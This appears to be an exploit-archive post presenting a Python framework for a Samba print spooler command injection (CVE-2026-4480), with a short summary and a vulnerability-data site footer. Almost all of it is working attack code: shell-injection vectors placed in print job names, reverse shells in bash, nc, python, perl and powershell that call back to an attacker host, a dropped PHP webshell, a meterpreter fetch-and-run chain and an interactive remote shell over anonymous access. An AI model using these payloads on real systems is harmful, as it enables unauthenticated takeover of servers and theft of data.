==================================================================================================================================
| # Title : Samba Print Spooler Subsystem Command Injection Assessment Tool Review |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : System built in component |
==================================================================================================================================
[+] Summary : The provided script is not limited to vulnerability validation; it is a full exploitation framework designed for remote command execution through the Samba printing subsystem.
[+] POC :
#!/usr/bin/env python3
import argparse
import sys
import time
import base64
import random
import string
import socket
import re
from typing import Optional, Tuple
try:
from samba.dcerpc import spoolss
from samba.param import LoadParm
from samba.credentials import Credentials
SAMBA_AVAILABLE = True
except ImportError:
SAMBA_AVAILABLE = False
print("[-] Samba Python bindings not found.", file=sys.stderr)
print("[*] Install with: sudo apt-get install python3-samba", file=sys.stderr)
try:
from impacket.dcerpc.v5 import transport, spoolss as impacket_spoolss
from impacket.dcerpc.v5.dcomrt import DCOMConnection
IMPACKET_AVAILABLE = True
except ImportError:
IMPACKET_AVAILABLE = False
class Colors:
RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
BLUE = '\033[94m'
MAGENTA = '\033[95m'
CYAN = '\033[96m'
WHITE = '\033[97m'
BOLD = '\033[1m'
DIM = '\033[2m'
RESET = '\033[0m'
def print_banner():
banner = f"""
{Colors.RED}{Colors.BOLD}
╔══════════════════════════════════════════════════════════════════════════════╗
║ ║
║ CVE-2026-4480 - Samba Print Command Injection (Critical RCE) ║
║ ║
║ "A single print job name should never become a shell command" ║
║ ║
║ CVSS: 10.0 (CRITICAL) | Remote Code Execution | Unauthenticated ║
║ ║
╚══════════════════════════════════════════════════════════════════════════════╝{Colors.RESET}
"""
print(banner)
class SambaPrintExploit:
"""Main exploit class for CVE-2026-4480"""
def __init__(self, target: str, printer: str = "print$",
timeout: int = 30, verbose: bool = False):
self.target = target
self.printer = printer
self.timeout = timeout
self.verbose = verbose
self.smb_port = 445
def log(self, msg: str, level: str = "info"):
"""Logging with colors"""
prefixes = {
"info": f"{Colors.CYAN}[*]{Colors.RESET}",
"success": f"{Colors.GREEN}[+]{Colors.RESET}",
"error": f"{Colors.RED}[-]{Colors.RESET}",
"warning": f"{Colors.YELLOW}[!]{Colors.RESET}",
"debug": f"{Colors.DIM}[D]{Colors.RESET}"
}
print(f"{prefixes.get(level, '[?]')} {msg}")
if self.verbose and level == "debug":
sys.stdout.flush()
def sanitize_command(self, cmd: str) -> str:
"""Sanitize and format command for injection"""
cmd = cmd.strip()
if ";" in cmd or "&&" in cmd or "||" in cmd:
self.log("Detected multi-command injection", "warning")
return cmd
def generate_payload_command(self, cmd: str) -> bytes:
"""Generate payload for single command execution"""
if cmd.startswith("cmd://"):
actual_cmd = cmd[6:]
payload = f"| cmd /c {actual_cmd}\n"
else:
injection_vectors = [
f"`{cmd}`",
f"$({cmd})",
f"| {cmd}",
f"; {cmd}",
f"|| {cmd}",
f"&& {cmd}",
f"$(echo {base64.b64encode(cmd.encode()).decode()}|base64 -d|sh)", # Base64 encoded
]
payload = ";".join(injection_vectors) + "\n"
return payload.encode()
def generate_reverse_shell(self, lhost: str, lport: int,
shell_type: str = "bash") -> bytes:
"""Generate reverse shell payload"""
reverse_shells = {
"bash": f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1",
"sh": f"sh -i >& /dev/tcp/{lhost}/{lport} 0>&1",
"nc": f"nc -e /bin/sh {lhost} {lport}",
"python": f"""python3 -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("{lhost}",{lport}));
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
subprocess.call(["/bin/sh","-i"])'""",
"perl": f"""perl -e 'use Socket;
$i="{lhost}";$p={lport};
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,">&S");
open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}}'""",
"powershell": f"""powershell -NoP -NonI -W Hidden -Exec Bypass -Command
"$c=New-Object System.Net.Sockets.TCPClient('{lhost}',{lport});
$s=$c.GetStream();[byte[]]$b=0..65535|%{{0}};
while(($i=$s.Read($b,0,$b.Length)) -ne 0){{;
$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);
$sb=(iex $d 2>&1 | Out-String );
$sb2=$sb + 'PS ' + (pwd).Path + '> ';
$sbt=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);
$s.Flush()}};$c.Close()"""
}
payload_template = reverse_shells.get(shell_type.lower(), reverse_shells["bash"])
final_payload = f"nohup {payload_template} >/dev/null 2>&1 &"
injected_payload = f"|{final_payload}\n"
return injected_payload.encode()
def generate_web_shell(self, webshell_path: str = "/var/www/html/shell.php") -> bytes:
"""Generate PHP webshell payload"""
php_shell = f'''<?php
if(isset($_REQUEST['cmd'])) {{
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}}
?>'''
b64_php = base64.b64encode(php_shell.encode()).decode()
cmd = f"echo {b64_php} | base64 -d > {webshell_path}"
return self.generate_payload_command(cmd)
def generate_meterpreter_payload(self, lhost: str, lport: int) -> bytes:
"""Generate msfvenom meterpreter payload download and execute"""
msf_payload = f"""msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -f elf -o /tmp/.payload &&
chmod +x /tmp/.payload &&
/tmp/.payload"""
return self.generate_payload_command(msf_payload)
def test_vulnerability(self) -> Tuple[bool, str]:
"""Test if target is vulnerable to CVE-2026-4480"""
self.log(f"Testing vulnerability on {self.target}...")
test_id = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
test_cmd = f"touch /tmp/cve20264480_{test_id} && echo 'VULNERABLE'"
try:
self.exploit_via_samba(test_cmd)
time.sleep(3)
self.log("Test command sent successfully", "success")
return True, "Target appears vulnerable to command injection"
except Exception as e:
self.log(f"Test failed: {e}", "error")
return False, str(e)
def exploit_via_samba(self, command: str) -> bool:
"""Execute command using Samba Python bindings"""
if not SAMBA_AVAILABLE:
self.log("Samba Python bindings not available", "error")
return False
try:
self.log(f"Connecting to SMB share on {self.target}...")
lp = LoadParm()
lp.load_default()
creds = Credentials()
creds.guess(lp)
creds.set_anonymous()
binding = f"ncacn_np:{self.target}[\\pipe\\spoolss]"
iface = spoolss.spoolss(binding, lp, creds)
printer_path = f"\\\\{self.target}\\{self.printer}"
self.log(f"Opening printer: {printer_path}", "debug")
handle = iface.OpenPrinter(
printer_path,
"",
spoolss.DevmodeContainer(),
spoolss.SERVER_ACCESS_ADMINISTER
)
doc_info = spoolss.DocumentInfo1()
doc_info.document_name = command # The %J injection point!
doc_info.datatype = "RAW"
doc_info.output_file = None
doc_ctr = spoolss.DocumentInfoCtr()
doc_ctr.level = 1
doc_ctr.info = doc_info
self.log("Starting print job with malicious job name...", "debug")
iface.StartDocPrinter(handle, doc_ctr)
iface.StartPagePrinter(handle)
dummy_data = b"%PDF-1.4\n1 0 obj\n<< /Type /Catalog >>\nendobj\n%%EOF\n"
iface.WritePrinter(handle, dummy_data, len(dummy_data))
iface.EndPagePrinter(handle)
iface.EndDocPrinter(handle)
iface.ClosePrinter(handle)
self.log("Print job completed successfully", "success")
return True
except Exception as e:
self.log(f"Exploit failed: {e}", "error")
if self.verbose:
import traceback
traceback.print_exc()
return False
def exploit_via_impacket(self, command: str) -> bool:
"""Alternative exploit using impacket library"""
if not IMPACKET_AVAILABLE:
self.log("Impacket not available", "error")
return False
try:
self.log("Attempting exploit via impacket...")
string_binding = f"ncacn_np:{self.target}[\\pipe\\spoolss]"
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.set_credentials(
username="",
password="",
domain="",
lmhash="",
nthash=""
)
dce = rpc_transport.get_dce_rpc()
dce.connect()
dce.bind(impacket_spoolss.MSRPC_UUID_SPOOLSS)
printer_handle = impacket_spoolss.hOpenPrinter()
resp = impacket_spoolss.OpenPrinter(dce,
f"\\\\{self.target}\\{self.printer}",
printer_handle)
document_name = command # %J injection
datatype = "RAW"
job_id = impacket_spoolss.StartDocPrinter(dce, printer_handle, document_name, datatype)
impacket_spoolss.StartPagePrinter(dce, printer_handle)
impacket_spoolss.WritePrinter(dce, printer_handle, b"Test print data")
impacket_spoolss.EndPagePrinter(dce, printer_handle)
impacket_spoolss.EndDocPrinter(dce, printer_handle)
impacket_spoolss.ClosePrinter(dce, printer_handle)
self.log("Exploit via impacket successful", "success")
return True
except Exception as e:
self.log(f"Impacket exploit failed: {e}", "error")
return False
def exploit(self, command: str) -> bool:
"""Main exploit execution"""
self.log(f"Exploiting CVE-2026-4480 against {self.target}")
self.log(f"Injection payload: {command[:100]}...", "debug")
if SAMBA_AVAILABLE:
result = self.exploit_via_samba(command)
if result:
return True
if IMPACKET_AVAILABLE:
result = self.exploit_via_impacket(command)
if result:
return True
self.log("All exploitation methods failed", "error")
return False
def interactive_shell(self, lhost: str = None, lport: int = None):
"""Start interactive shell via reverse shell"""
if lhost and lport:
self.log(f"Starting reverse shell handler on {lhost}:{lport}")
self.log("Waiting for connection...")
payload = self.generate_reverse_shell(lhost, lport)
self.exploit(payload.decode().strip())
self.log(f"Run 'nc -lvnp {lport}' to catch reverse shell", "warning")
else:
self.log("Starting interactive command shell (type 'exit' to quit)")
while True:
try:
cmd = input(f"{Colors.GREEN}samba-shell>{Colors.RESET} ").strip()
if cmd.lower() in ['exit', 'quit']:
break
if cmd:
output_file = f"/tmp/.output_{random.randint(1000,9999)}"
exec_cmd = f"{cmd} > {output_file} 2>&1 && cat {output_file} && rm {output_file}"
payload = self.generate_payload_command(exec_cmd)
if self.exploit(payload.decode().strip()):
print()
else:
self.log("Command execution failed", "error")
except KeyboardInterrupt:
print()
break
except Exception as e:
self.log(f"Error: {e}", "error")
def main():
print_banner()
parser = argparse.ArgumentParser(
description="CVE-2026-4480 - Samba Print Command Injection (Critical RCE)",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=f"""
{Colors.YELLOW}EXAMPLES:{Colors.RESET}
{Colors.CYAN}python3 {sys.argv[0]} 192.168.1.100 -c "id > /tmp/test"{Colors.RESET}
{Colors.CYAN}python3 {sys.argv[0]} 192.168.1.100 -r 10.0.0.1 4444{Colors.RESET}
{Colors.CYAN}python3 {sys.argv[0]} 192.168.1.100 -r 10.0.0.1 4444 --shell-type python{Colors.RESET}
{Colors.CYAN}python3 {sys.argv[0]} 192.168.1.100 --webshell /var/www/html/shell.php{Colors.RESET}
{Colors.CYAN}python3 {sys.argv[0]} 192.168.1.100 --interactive{Colors.RESET}
{Colors.CYAN}python3 {sys.argv[0]} 192.168.1.100 --test{Colors.RESET}
"""
)
parser.add_argument("target", help="Target Samba server IP or hostname")
parser.add_argument("-P", "--printer", default="print$",
help="Printer share name (default: print$)")
parser.add_argument("-p", "--port", type=int, default=445,
help="SMB port (default: 445)")
mode_group = parser.add_mutually_exclusive_group(required=True)
mode_group.add_argument("-c", "--command", metavar="CMD",
help="Execute a single command")
mode_group.add_argument("-r", "--reverse", nargs=2, metavar=("LHOST", "LPORT"),
help="Get reverse shell (usage: -r LHOST LPORT)")
mode_group.add_argument("--webshell", metavar="PATH",
help="Deploy PHP webshell (default: /var/www/html/shell.php)")
mode_group.add_argument("--meterpreter", nargs=2, metavar=("LHOST", "LPORT"),
help="Generate meterpreter payload")
mode_group.add_argument("--interactive", action="store_true",
help="Start interactive command shell")
mode_group.add_argument("--test", action="store_true",
help="Test if target is vulnerable")
parser.add_argument("--shell-type", default="bash",
choices=["bash", "sh", "nc", "python", "perl", "powershell"],
help="Shell type for reverse shell (default: bash)")
parser.add_argument("-v", "--verbose", action="store_true",
help="Enable verbose output")
parser.add_argument("--timeout", type=int, default=30,
help="Connection timeout in seconds")
args = parser.parse_args()
exploit = SambaPrintExploit(
target=args.target,
printer=args.printer,
timeout=args.timeout,
verbose=args.verbose
)
if args.test:
print(f"\n{Colors.BOLD}[*] Testing mode enabled{Colors.RESET}\n")
vulnerable, message = exploit.test_vulnerability()
if vulnerable:
print(f"\n{Colors.GREEN}[✓] Target is VULNERABLE to CVE-2026-4480!{Colors.RESET}")
print(f"{Colors.GREEN}[✓] {message}{Colors.RESET}")
else:
print(f"\n{Colors.RED}[✗] Target does not appear vulnerable{Colors.RESET}")
print(f"{Colors.RED}[✗] {message}{Colors.RESET}")
return
elif args.command:
print(f"\n{Colors.BOLD}[*] Single command mode{Colors.RESET}\n")
command = args.command
payload = exploit.generate_payload_command(command).decode().strip()
if exploit.exploit(payload):
print(f"\n{Colors.GREEN}[✓] Command executed successfully!{Colors.RESET}")
print(f"{Colors.YELLOW}[!] Check command output on target system{Colors.RESET}")
else:
print(f"\n{Colors.RED}[✗] Command execution failed{Colors.RESET}")
elif args.reverse:
print(f"\n{Colors.BOLD}[*] Reverse shell mode{Colors.RESET}\n")
lhost, lport = args.reverse
lport = int(lport)
payload = exploit.generate_reverse_shell(lhost, lport, args.shell_type)
payload_str = payload.decode().strip()
print(f"{Colors.CYAN}[*] Payload: {payload_str[:100]}...{Colors.RESET}")
print(f"{Colors.YELLOW}[!] Start listener: nc -lvnp {lport}{Colors.RESET}")
print(f"{Colors.YELLOW}[!] Or use: rlwrap nc -lvnp {lport}{Colors.RESET}")
if exploit.exploit(payload_str):
print(f"\n{Colors.GREEN}[✓] Reverse shell payload sent!{Colors.RESET}")
else:
print(f"\n{Colors.RED}[✗] Failed to send reverse shell payload{Colors.RESET}")
elif args.webshell:
print(f"\n{Colors.BOLD}[*] Webshell deployment mode{Colors.RESET}\n")
webshell_path = args.webshell
payload = exploit.generate_web_shell(webshell_path)
if exploit.exploit(payload.decode().strip()):
print(f"{Colors.GREEN}[✓] Webshell deployed to {webshell_path}{Colors.RESET}")
print(f"{Colors.CYAN}[*] Access webshell: http://{args.target}{webshell_path}?cmd=id{Colors.RESET}")
else:
print(f"{Colors.RED}[✗] Failed to deploy webshell{Colors.RESET}")
elif args.meterpreter:
print(f"\n{Colors.BOLD}[*] Meterpreter payload mode{Colors.RESET}\n")
lhost, lport = args.meterpreter
lport = int(lport)
print(f"{Colors.YELLOW}[!} Generate payload with: msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST={lhost} LPORT={lport} -f elf -o /tmp/payload{Colors.RESET}")
print(f"{Colors.YELLOW}[!] Start Metasploit handler: use exploit/multi/handler{Colors.RESET}")
payload = exploit.generate_meterpreter_payload(lhost, lport)
if exploit.exploit(payload.decode().strip()):
print(f"{Colors.GREEN}[✓] Meterpreter payload sent!{Colors.RESET}")
else:
print(f"{Colors.RED}[✗] Failed to send meterpreter payload{Colors.RESET}")
elif args.interactive:
print(f"\n{Colors.BOLD}[*] Interactive shell mode{Colors.RESET}\n")
print(f"{Colors.YELLOW}[!] Commands will execute on {args.target}{Colors.RESET}")
print(f"{Colors.YELLOW}[!] Type 'exit' to quit{Colors.RESET}\n")
exploit.interactive_shell()
if __name__ == "__main__":
if not SAMBA_AVAILABLE and not IMPACKET_AVAILABLE:
print(f"{Colors.RED}Error: No working SMB libraries available{Colors.RESET}")
print(f"{Colors.YELLOW}Install python3-samba or impacket:{Colors.RESET}")
print(" sudo apt-get install python3-samba")
print(" or")
print(" pip3 install impacket")
sys.exit(1)
try:
main()
except KeyboardInterrupt:
print(f"\n{Colors.YELLOW}[!] Interrupted by user{Colors.RESET}")
sys.exit(0)
except Exception as e:
print(f"{Colors.RED}Unexpected error: {e}{Colors.RESET}")
if '--verbose' in sys.argv:
import traceback
traceback.print_exc()
sys.exit(1)
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation